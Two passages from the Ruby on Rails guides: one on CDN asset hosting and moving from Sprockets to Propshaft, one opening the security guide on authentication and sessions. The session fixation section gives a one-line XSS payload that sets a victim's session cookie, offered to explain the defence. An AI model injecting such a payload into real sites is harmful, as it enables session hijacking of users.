You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as `http://` or `https://`. When a web page is requested, the protocol in the link to your asset that is generated will match how the webpage is accessed by default.

You can also set this value through an [environment variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a staging copy of your site easier:

```
config.asset_host = ENV["CDN_HOST"]
```

You would need to set `CDN_HOST` on your server to `mycdnsubdomain .fictional-cdn.com` for this to work.

Once you have configured your server and your CDN, asset paths from helpers such as:

```
<%= asset_path('smile.png') %>
```

Will be rendered as full CDN URLs like `http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for readability).

If the CDN has a copy of `smile.png`, it will serve it to the browser, and the origin server won't even know it was requested. If the CDN does not have a copy, it will try to find it at the "origin" `example.com/assets/smile.png`, and then store it for future use.

If you want to serve only some assets from your CDN, you can use custom `:host` option for your asset helper, which overwrites the value set in [`config.action_controller.asset_host`](configuring.html#config-action-controller-asset-host).

```
<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
```

##### [3.3.3.2. Customize CDN Caching Behavior](#customize-cdn-caching-behavior)

A CDN works by caching content. If the CDN has stale or bad content, then it is hurting rather than helping your application. The purpose of this section is to describe general caching behavior of most CDNs. Your specific provider may behave slightly differently.

**CDN Request Caching**

While a CDN is described as being good for caching assets, it actually caches the entire request. This includes the body of the asset as well as any headers. The most important one being `Cache-Control`, which tells the CDN (and web browsers) how to cache contents. This means that if someone requests an asset that does not exist, such as `/assets/i-dont-exist.png`, and your Rails application returns a 404, then your CDN will likely cache the 404 page if a valid `Cache-Control` header is present.

**CDN Header Debugging**

One way to check the headers are cached properly in your CDN is by using [curl](https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You can request the headers from both your server and your CDN to verify they are the same:

```
$ curl -I http://www.example/assets/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT
Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur
```

Versus the CDN copy:

```
$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK Server: Cowboy Last-
Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
Cache-Control:
public, max-age=2592000
Via: 1.1 vegur
Content-Length: 126560
Accept-Ranges:
bytes
Date: Sun, 24 Aug 2014 20:28:45 GMT
Via: 1.1 varnish
Age: 885814
Connection: keep-alive
X-Served-By: cache-dfw1828-DFW
X-Cache: HIT
X-Cache-Hits:
68
X-Timer: S1408912125.211638212,VS0,VE0
```

Check your CDN documentation for any additional information they may provide such as `X-Cache` or for any additional headers they may add.

**CDNs and the Cache-Control Header**

The [`Cache-Control`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) header describes how a request can be cached. When no CDN is used, a browser will use this information to cache contents. This is very helpful for assets that are not modified so that a browser does not need to re-download a website's CSS or JavaScript on every request. Generally we want our Rails server to tell our CDN (and browser) that the asset is "public". That means any cache can store the request. Also we commonly want to set `max-age` which is how long the cache will store the object before invalidating the cache. The `max-age` value is set to seconds with a maximum possible value of `31536000`, which is one year. You can do this in your Rails application by setting

```
config.public_file_server.headers = {
  "cache-control" => "public, max-age=31536000"
}
```

Now when your application serves an asset in production, the CDN will store the asset for up to a year. Since most CDNs also cache headers of the request, this `Cache-Control` will be passed along to all future browsers seeking this asset. The browser then knows that it can store this asset for a very long time before needing to re-request it.

**CDNs and URL-based Cache Invalidation**

Most CDNs will cache contents of an asset based on the complete URL. This means that a request to

```
http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
```

Will be a completely different cache from

```
http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
```

If you want to set far future `max-age` in your `Cache-Control` (and you do), then make sure when you change your assets that your cache is invalidated. For example when changing the smiley face in an image from yellow to blue, you want all visitors of your site to get the new blue face. When using a CDN with the Rails asset pipeline `config.assets.digest` is set to true by default so that each asset will have a different file name when it is changed. This way you don't have to ever manually invalidate any items in your cache. By using a different unique asset name instead, your users get the latest asset.

## [4. Sprockets to Propshaft](#sprockets-to-propshaft)

### [4.1. Evolution of Asset Management Techniques](#evolution-of-asset-management-techniques)

Within the last few years, the evolution of the web has led to significant changes that have influenced how assets are managed in web applications. These include:

1. **Browser Support**: Modern browsers have improved support for new features and syntax, reducing the need for transpilation and polyfills.
2. **HTTP/2**: The introduction of HTTP/2 has made it easier to serve multiple files in parallel, reducing the need for bundling.
3. **ES6+**: Modern JavaScript syntax (ES6+) is supported by most modern browsers, reducing the need for transpilation.

Therefore, the asset pipeline powered by Propshaft, no longer includes transpilation, bundling, or compression by default. However, fingerprinting still remains an integral part. You can read more about the evolution of asset management techniques and how they directed the change from Sprockets to Propshaft below.

#### [4.1.1. Transpilation ❌](#transpilation-❌)

Transpilation involves converting code from one language or format to another.

For example, converting TypeScript to JavaScript.

```
const greet = (name: string): void => {
  console.log(`Hello, ${name}!`);
};
```

After transpilation, this code becomes:

```
const greet = (name) => {
  console.log(`Hello, ${name}!`);
};
```

In the past, pre-processors like [Sass](https://sass-lang.com/) and [Less](https://lesscss.org/) were essential for CSS features such as variables and nesting. Today, modern CSS supports these natively, reducing the need for transpilation.

#### [4.1.2. Bundling ❌](#bundling-❌)

Bundling combines multiple files into one to reduce the number of HTTP requests a browser needs to make to render a page.

For example, if your application has three JavaScript files:

* menu.js
* cart.js
* checkout.js

Bundling will merge these into a single application.js file.

```
// app/javascript/application.js
// Contents of menu.js, cart.js, and checkout.js are combined here
```

This was crucial with HTTP/1.1, which limited 6-8 simultaneous connections per domain. With HTTP/2, browsers fetch multiple files in parallel, making bundling less critical for modern applications.

#### [4.1.3. Compression ❌](#compression-❌)

Compression encodes files in a more efficient format to reduce their size further when delivered to users. A common technique is [Gzip compression](https://en.wikipedia.org/wiki/Gzip).

For example, a CSS file that's 200KB may compress to just 50KB when Gzipped. Browsers automatically decompress such files upon receipt, saving bandwidth and improving speed.

However, with CDNs automatically compressing assets, the need for manual compression has decreased.

### [4.2. Sprockets vs. Propshaft](#sprockets-vs-propshaft)

#### [4.2.1. Load Order](#load-order)

In Sprockets, you could link files together to ensure they loaded in the correct order. For example, a main JavaScript file that depended on other files would automatically have its dependencies managed by Sprockets, ensuring everything loaded in the right sequence. Propshaft, on the other hand, does not automatically handle these dependencies, and instead [lets you manage the asset load order manually](#asset-load-order).

#### [4.2.2. Versioning](#versioning)

Sprockets simplifies asset fingerprinting by appending a hash to filenames whenever assets are updated, ensuring proper cache invalidation. With Propshaft, you’ll need to handle certain aspects manually. For example, while asset fingerprinting works, you might need to use a bundler or trigger transformations manually for JavaScript files to ensure filenames are updated correctly. Read more about [fingerprinting in Propshaft](#fingerprinting-versioning-with-digest-based-urls).

#### [4.2.3. Precompilation](#precompilation)

Sprockets processed assets that were explicitly included in a bundle. In contrast, Propshaft automatically processes all assets located in the specified paths, including images, stylesheets, JavaScript files, and more, without requiring explicit bundling. Read more about [asset digesting](#asset-digesting).

### [4.3. Migration Steps](#migration-steps)

Propshaft is intentionally simpler than [Sprockets](https://github.com/rails/sprockets-rails), which may make migrating from Sprockets a fair amount of work. This is especially true if you rely on Sprockets for tasks like transpiling [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/), or if you're using gems that provide this functionality. In such cases, you'll either need to stop transpiling or switch to a Node.js-based transpiler, such as those provided by [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or [`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more about these in the [Advanced Asset Management section](#advanced-asset-management).

However, if you're already using a Node-based setup to bundle JavaScript and CSS, Propshaft should integrate smoothly into your workflow. Since you won’t need an additional tool for bundling or transpiling, Propshaft will primarily handle asset digesting and serving.

Some key steps in the migration include:

1. Remove some gems using the following:

   ```
   bundle remove sprockets
   bundle remove sprockets-rails
   bundle remove sass-rails
   ```

2. Delete the `config/assets.rb` and `assets/config/manifest.js` files from your project.

3. If you've already upgraded to Rails 8, then Propshaft is already included in your application. Otherwise, install it using `bundle add propshaft`.

4. Remove the `config.assets.paths << Rails.root.join('app', 'assets')` line from your `application.rb` file.

5. Migrate asset helpers by replacing all instances of asset helpers in your CSS files (e.g., `image_url`) with standard `url()` functions, keeping in mind that Propshaft utilizes relative paths. For example, `image_url("logo.png")` may become `url("/logo.png")`.

6. If you're relying on Sprockets for transpiling, you'll need to switch to a Node-based transpiler like Webpack, esbuild, or Vite. You can use the `jsbundling-rails` and `cssbundling-rails` gems to integrate these tools into your Rails application.

For more information, you can read the [detailed guide on how to migrate from Sprockets to Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md).

## [5. Advanced Asset Management](#advanced-asset-management)

Over the years, there have been multiple default approaches for handling assets, and as the web evolved, we began to see more JavaScript-heavy applications. In The Rails Doctrine we believe that [The Menu Is Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on delivering a production-ready setup with modern browsers by default.

There is no one-size-fits-all solution for the various JavaScript and CSS frameworks and extensions available. However, there are other bundling libraries in the Rails ecosystem that should empower you in cases where the default setup isn't enough.

### [5.1. `jsbundling-rails`](#jsbundling-rails)

[`jsbundling-rails`](https://github.com/rails/jsbundling-rails) is a gem that integrates modern JavaScript bundlers into your Rails application. It allows you to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or [Webpack](https://webpack.js.org/), offering a runtime-dependent approach for developers seeking flexibility and performance.

#### [5.1.1. How `jsbundling-rails` Works](#how-jsbundling-rails-works)

1. After installation, it sets up your Rails app to use your chosen JavaScript bundler.
2. It creates a `build` script in your `package.json` file to compile your JavaScript assets.
3. During development, the `build:watch` script ensures live updates to your assets as you make changes.
4. In production, the gem ensures that JavaScript is built and included during the precompilation step, reducing manual intervention. It hooks into Rails' `assets:precompile` task to build JavaScript for all entry points during deployment. This integration ensures that your JavaScript is production-ready with minimal configuration.

The gem automatically handles entry-point discovery - identifying the primary JavaScript files to bundle by following Rails conventions, typically looking in directories like `app/javascript/` and configuration. By adhering to Rails conventions, `jsbundling-rails` simplifies the process of integrating complex JavaScript workflows into Rails projects.

#### [5.1.2. When Should You Use It?](#jsbundling-rails-when-should-you-use-it-questionmark)

`jsbundling-rails` is ideal for Rails applications that:

* Require modern JavaScript features like ES6+, TypeScript, or JSX.
* Need to leverage bundler-specific optimizations like tree-shaking, code splitting, or minification.
* Use `Propshaft` for asset management and need a reliable way to integrate precompiled JavaScript with the broader Rails asset pipeline.
* Utilize libraries or frameworks that depend on a build step. For example, projects requiring transpilation—such as those using [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/), or React JSX—benefit greatly from `jsbundling-rails`. These tools rely on a build step, which the gem seamlessly supports.

By integrating with Rails tools like `Propshaft` and simplifying JavaScript workflows, `jsbundling-rails` allows you to build rich, dynamic front-ends while staying productive and adhering to Rails conventions.

### [5.2. `cssbundling-rails`](#cssbundling-rails)

[`cssbundling-rails`](https://github.com/rails/cssbundling-rails) integrates modern CSS frameworks and tools into your Rails application. It allows you to bundle and process your stylesheets. Once processed, the resulting CSS is delivered via the Rails asset pipeline.

#### [5.2.1. How `cssbundling-rails` Works](#how-cssbundling-rails-works)

1. After installation, it sets up your Rails app to use your chosen CSS framework or processor.
2. It creates a `build:css` script in your `package.json` file to compile your stylesheets.
3. During development, a `build:css --watch` task ensures live updates to your CSS as you make changes, providing a smooth and responsive workflow.
4. In production, the gem ensures your stylesheets are compiled and ready for deployment. During the `assets:precompile` step, it installs all `package.json` dependencies via `bun`, `yarn`, `pnpm` or `npm` and runs the `build:css` task to process your stylesheet entry points. The resulting CSS output is then digested by the asset pipeline and copied into the `public/assets` directory, just like other asset pipeline files.

This integration simplifies the process of preparing production-ready styles while ensuring all your CSS is managed and processed efficiently.

#### [5.2.2. When Should You Use It?](#cssbundling-rails-when-should-you-use-it-questionmark)

`cssbundling-rails` is ideal for Rails applications that:

* Use CSS frameworks like [Tailwind CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/), or [Bulma](https://bulma.io/) that require processing during development or deployment.
* Need advanced CSS capabilities such as custom preprocessing with [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/) plugins.
* Require seamless integration of processed CSS into the Rails asset pipeline.
* Benefit from live updates to stylesheets during development with minimal manual intervention.

**NOTE**: Unlike [`dartsass-rails`](https://github.com/rails/dartsass-rails) or [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails), which use standalone versions of [Dart Sass](https://sass-lang.com/) and [Tailwind CSS](https://tailwindcss.com/), `cssbundling-rails` introduces a Node.js dependency. This makes it a good choice for applications already relying on Node for JavaScript processing with gems like `jsbundling-rails`. However, if you're using [`importmap-rails`](https://github.com/rails/importmap-rails) for JavaScript and prefer to avoid Node.js, standalone alternatives like [`dartsass-rails`](https://github.com/rails/dartsass-rails) or [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a simpler setup.

By integrating modern CSS workflows, automating production builds, and leveraging the Rails asset pipeline, `cssbundling-rails` enables developers to efficiently manage and deliver dynamic styles.

### [5.3. `tailwindcss-rails`](#tailwindcss-rails)

[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) is a wrapper gem that integrates [Tailwind CSS](https://tailwindcss.com/) into your Rails application. By bundling Tailwind CSS with a [standalone executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need for Node.js or additional JavaScript dependencies. This makes it a lightweight and efficient solution for styling Rails applications.

#### [5.3.1. How `tailwindcss-rails` Works](#how-tailwindcss-rails-works)

1. When installed, by providing `--css tailwind` to the `rails new` command, the gem generates a `tailwind.config.js` file for customizing your Tailwind setup and a `stylesheets/application.tailwind.css` file for managing your CSS entry points.
2. Instead of relying on Node.js, the gem uses a precompiled Tailwind CSS binary. This standalone approach allows you to process and compile CSS without adding a JavaScript runtime to your project.
3. During development, changes to your Tailwind configuration or CSS files are automatically detected and processed. The gem rebuilds your stylesheets and provides a `watch` process to automatically generate Tailwind output in development.
4. In production, the gem hooks into the `assets:precompile` task. It processes your Tailwind CSS files and generates optimized, production-ready stylesheets, which are then included in the asset pipeline. The output is fingerprinted and cached for efficient delivery.

#### [5.3.2. When Should You Use It?](#tailwindcss-rails-when-should-you-use-it-questionmark)

`tailwindcss-rails` is ideal for Rails applications that:

* Want to use [Tailwind CSS](https://tailwindcss.com/) without introducing a Node.js dependency or JavaScript build tools.
* Require a minimal setup for managing utility-first CSS frameworks.
* Need to take advantage of Tailwind's powerful features like custom themes, variants, and plugins without complex configuration.

The gem works seamlessly with Rails' asset pipeline tools, like Propshaft, ensuring that your CSS is preprocessed, digested, and efficiently served in production environments.

### [5.4. `importmap-rails`](#importmap-rails)

[`importmap-rails`](https://github.com/rails/importmap-rails) enables a Node.js-free approach to managing JavaScript in Rails applications. It leverages modern browser support for [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) to load JavaScript directly in the browser without requiring bundling or transpilation. This approach aligns with Rails' commitment to simplicity and convention over configuration.

#### [5.4.1. How `importmap-rails` Works](#how-importmap-rails-works)

* After installation, `importmap-rails` configures your Rails app to use `<script type="module">` tags to load JavaScript modules directly in the browser.
* JavaScript dependencies are managed using the `bin/importmap` command, which pins modules to URLs, typically hosted on CDNs like [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready versions of libraries. This eliminates the need for `node_modules` or a package manager.
* During development, there’s no bundling step, so updates to your JavaScript are instantly available, streamlining the workflow.
* In production, the gem integrates with Propshaft to serve JavaScript files as part of the asset pipeline. Propshaft ensures files are digested, cached, and production-ready. Dependencies are versioned, fingerprinted, and efficiently delivered without manual intervention.

**NOTE**: While Propshaft ensures proper asset handling, it does not handle JavaScript processing or transformations — `importmap-rails` assumes your JavaScript is already in a browser-compatible format. This is why it works best for projects that don't require transpiling or bundling.

By eliminating the need for a build step and Node.js, `importmap-rails` simplifies JavaScript management.

#### [5.4.2. When Should You Use It?](#importmap-rails-when-should-you-use-it-questionmark)

`importmap-rails` is ideal for Rails applications that:

* Do not require complex JavaScript features like transpiling or bundling.
* Use modern JavaScript without relying on tools like [Babel](https://babeljs.io/).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/security.html
----

***

## [1. Introduction](#introduction)

Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so this is hardly a problem.

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).

The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.

## [2. Authentication](#authentication)

Authentication is often one of the first features implemented in a web application. It serves as the foundation for securing user data and is part of most modern web applications.

Starting with version 8.0, Rails comes with a default authentication generator, which provides a solid starting point for securing your application by only allowing access to verified users.

The authentication generator adds all of the relevant models, controllers, views, routes, and migrations needed for basic authentication and password reset functionality.

To use this feature in your application, you can run `bin/rails generate authentication`. Here are all of the files the generator modifies and new files it adds:

```
$ bin/rails generate authentication
      invoke  erb
      create    app/views/passwords/new.html.erb
      create    app/views/passwords/edit.html.erb
      create    app/views/sessions/new.html.erb
      create  app/models/session.rb
      create  app/models/user.rb
      create  app/models/current.rb
      create  app/controllers/sessions_controller.rb
      create  app/controllers/concerns/authentication.rb
      create  app/controllers/passwords_controller.rb
      create  app/mailers/passwords_mailer.rb
      create  app/views/passwords_mailer/reset.html.erb
      create  app/views/passwords_mailer/reset.text.erb
      create  test/mailers/previews/passwords_mailer_preview.rb
        gsub  app/controllers/application_controller.rb
       route  resources :passwords, param: :token
       route  resource :session
        gsub  Gemfile
      bundle  install --quiet
    generate  migration CreateUsers email_address:string!:uniq password_digest:string! --force
       rails  generate migration CreateUsers email_address:string!:uniq password_digest:string! --force
      invoke  active_record
      create    db/migrate/20241010215312_create_users.rb
    generate  migration CreateSessions user:references ip_address:string user_agent:string --force
       rails  generate migration CreateSessions user:references ip_address:string user_agent:string --force
      invoke  active_record
      create    db/migrate/20241010215314_create_sessions.rb
```

As shown above, the authentication generator modifies the `Gemfile` to add the [bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses the `bcrypt` gem to create a hash of the password, which is then stored in the database (instead of the plain-text password). As this process is not reversible, there's no way to go from the hash back to the password. The hashing algorithm is deterministic though, so the stored password is able to be compared with the hash of the user-inputted password during authentication.

The generator adds two migration files for creating `user` and `session` tables. Next step is to run the migrations:

```
$ bin/rails db:migrate
```

Then, if you visit `/session/new` in your browser (you will see this route has been added in `routes.rb`), you'll see a form that accepts an email and a password with "sign in" button. This form routes to the `SessionsController` which was added by the generator. If you provide an email/password for a user that exists in the database, you will be able to successfully authenticate with those credentials and log in to the application.

After running the Authentication generator, you do need to implement your own *sign up flow* and add the necessary views, routes, and controller actions. There is no code generated that creates new `user` records and allows users to "sign up" in the first place. This is something you'll need to wire up based on the requirements of your application.

Here is a list of modified files:

```
On branch main
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
  modified:   Gemfile
  modified:   Gemfile.lock
  modified:   app/controllers/application_controller.rb
  modified:   config/routes.rb

Untracked files:
  (use "git add <file>..." to include in what will be committed)
  app/controllers/concerns/authentication.rb
  app/controllers/passwords_controller.rb
  app/controllers/sessions_controller.rb
  app/mailers/passwords_mailer.rb
  app/models/current.rb
  app/models/session.rb
  app/models/user.rb
  app/views/passwords/
  app/views/passwords_mailer/
  app/views/sessions/
  db/migrate/
  db/schema.rb
  test/mailers/previews/
```

### [2.1. Reset Password](#reset-password)

The authentication generator also adds reset password functionality. You can see a "forgot password?" link on the "sign in" page. Clicking that link navigates to the `/passwords/new` path and routes to the passwords controller. The `new` method of the `PasswordsController` class runs through the flow for sending a password reset email.

The link is valid for 15 minutes by default, but this can be configured with `has_secure_password`.

The mailers for *reset password* are also set up by the generator at `app/mailers/password_mailer.rb` and render the following email to send to the user:

```
# app/views/passwords_mailer/reset.html.erb
<p>
  You can reset your password within the next 15 minutes on
  <%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
</p>
```

### [2.2. Implementation Details](#implementation-details)

This section covers some of the implementation details around the authentication flow added by the authentication generator: The `has_secure_password` method, the `authenticate_by` method, and the `Authentication` concern.

#### [2.2.1. `has_secure_password`](#has-secure-password)

The [`has_secure_password`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password) method is added to the `user` model and takes care of storing a hashed password using the `bcrypt` algorithm:

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  normalizes :email_address, with: -> e { e.strip.downcase }
end
```

`has_secure_password` adds the following validations automatically:\
\
\- Password must be present on creation\
\- Password length should be less than or equal to 72 bytes\
\- Confirmation of password (using a XXX\_confirmation attribute)\
\
However it doesn't validate the minimum length or the complexity of the password, you need to define validation for those yourself.

#### [2.2.2. `authenticate_by`](#authenticate-by)

The [`authenticate_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SecurePassword/ClassMethods.html) method is used in the `SessionsController` while creating a new session to validate that the credentials provided by the user match the credentials stored in the database (e.g. password) for that user:

```
class SessionsController < ApplicationController
  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_url, alert: "Try another email address or password."
    end
  end

  # ...
end
```

If the credentials are valid, a new `Session` is created for that user.

#### [2.2.3. Session Management](#session-management)

The core functionality around session management is implemented in the `Authentication` controller concern, which is included by the `ApplicationController` in your application. You can explore details of the [authentication concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt) in the source code.

One method to note in the `Authentication` concern is `authenticated?`, a helper method available in view templates. You can use this method to conditionally display links/buttons depending on whether a user is currently authenticated. For example:

```
<% if authenticated? %>
  <%= button_to "Sign Out", session_path, method: :delete  %>
<% else %>
  <%= link_to "Sign In", new_session_path %>
<% end %>
```

You can find all of the details for the Authentication generator in the Rails source code. You are encouraged to explore the implementation details and not treat authentication as a black box.

With the authentication generator configured as above, your application is ready for a more secure user authentication and password recovery process in just a few steps.

## [3. Sessions](#sessions)

This chapter describes some particular attacks related to sessions, and security measures to protect your session data.

### [3.1. What are Sessions?](#what-are-sessions-questionmark)

Sessions enable the application to maintain user-specific state, while users interact with the application. For example, sessions allow users to authenticate once and remain signed in for future requests.

Most applications need to keep track of state for users that interact with the application. This could be the contents of a shopping basket, or the user id of the currently logged in user. This kind of user-specific state can be stored in the session.

Rails provides a session object for each user that accesses the application. If the user already has an active session, Rails uses the existing session. Otherwise a new session is created.

Read more about sessions and how to use them in [Action Controller Overview Guide](action_controller_overview.html#session).

### [3.2. Session Hijacking](#session-hijacking)

*Stealing a user's session ID lets an attacker use the web application in the victim's name.*

Many web applications have an authentication system: a user provides a username and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.

Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to *provide a secure connection over SSL*. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:

  ```
  config.force_ssl = true
  ```

* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a *log-out button* in the web application, and *make it prominent*.

* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later.

* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.

### [3.3. Session Storage](#session-storage)

Rails uses `ActionDispatch::Session::CookieStore` as the default session storage.

Learn more about other session storages in [Action Controller Overview Guide](action_controller_overview.html#session).

Rails `CookieStore` saves the session hash in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications and storage limitations of it:

* Cookies have a size limit of 4 kB. Use cookies only for data which is relevant for the session.

* Cookies are stored on the client-side. The client may preserve cookie contents even for expired cookies. The client may copy cookies to other machines. Avoid storing sensitive data in cookies.

* Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that. Persist all data that is of more permanent nature on the server side.

* Session cookies do not invalidate themselves and can be maliciously reused. It may be a good idea to have your application invalidate old session cookies using a stored timestamp.

* Rails encrypts cookies by default. The client cannot read or edit the contents of the cookie, without breaking encryption. If you take appropriate care of your secrets, you can consider your cookies to be generally secured.

The `CookieStore` uses the [encrypted](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) cookie jar to provide a secure, encrypted location to store session data. Cookie-based sessions thus provide both integrity as well as confidentiality to their contents. The encryption key, as well as the verification key used for [signed](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) cookies, is derived from the `secret_key_base` configuration value.

Secrets must be long and random. Use `bin/rails secret` to get new unique secrets.

Learn more about [managing credentials later in this guide](security.html#custom-credentials)

It is also important to use different salt values for encrypted and signed cookies. Using the same value for different salt configuration values may lead to the same derived key being used for different security features which in turn may weaken the strength of the key.

In test and development applications get a `secret_key_base` derived from the app name. Other environments must use a random key present in `config/credentials.yml.enc`, shown here in its decrypted state:

```
secret_key_base: 492f...
```

If your application's secrets may have been exposed, strongly consider changing them. Note that changing `secret_key_base` will expire currently active sessions and require all users to log in again. In addition to session data: encrypted cookies, signed cookies, and Active Storage files may also be affected.

### [3.4. Rotating Encrypted and Signed Cookies Configurations](#rotating-encrypted-and-signed-cookies-configurations)

Rotation is ideal for changing cookie configurations and ensuring old cookies aren't immediately invalid. Your users then have a chance to visit your site, get their cookie read with an old configuration and have it rewritten with the new change. The rotation can then be removed once you're comfortable enough users have had their chance to get their cookies upgraded.

It's possible to rotate the ciphers and digests used for encrypted and signed cookies.

For instance to change the digest used for signed cookies from SHA1 to SHA256, you would first assign the new configuration value:

```
Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
```

Now add a rotation for the old SHA1 digest so existing cookies are seamlessly upgraded to the new SHA256 digest.

```
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end
```

Then any written signed cookies will be digested with SHA256. Old cookies that were written with SHA1 can still be read, and if accessed will be written with the new digest so they're upgraded and won't be invalid when you remove the rotation.

Once users with SHA1 digested signed cookies should no longer have a chance to have their cookies rewritten, remove the rotation.

While you can set up as many rotations as you'd like it's not common to have many rotations going at any one time.

For more details on key rotation with encrypted and signed messages as well as the various options the `rotate` method accepts, please refer to the [MessageEncryptor API](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageEncryptor.html) and [MessageVerifier API](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageVerifier.html) documentation.

### [3.5. Replay Attacks for CookieStore Sessions](#replay-attacks-for-cookiestore-sessions)

*Another sort of attack you have to be aware of when using `CookieStore` is the replay attack.*

It works like this:

* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
* The user buys something.
* The new adjusted credit value is stored in the session.
* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
* The user has their original credit back.

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

The best *solution against it is not to store this kind of data in a session, but in the database*. In this case store the credit in the database and the `logged_in_user_id` in the session.

### [3.6. Session Fixation](#session-fixation)

*Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation.*

This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:

* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see numbers 1 and 2 in the image).
* They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
* The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
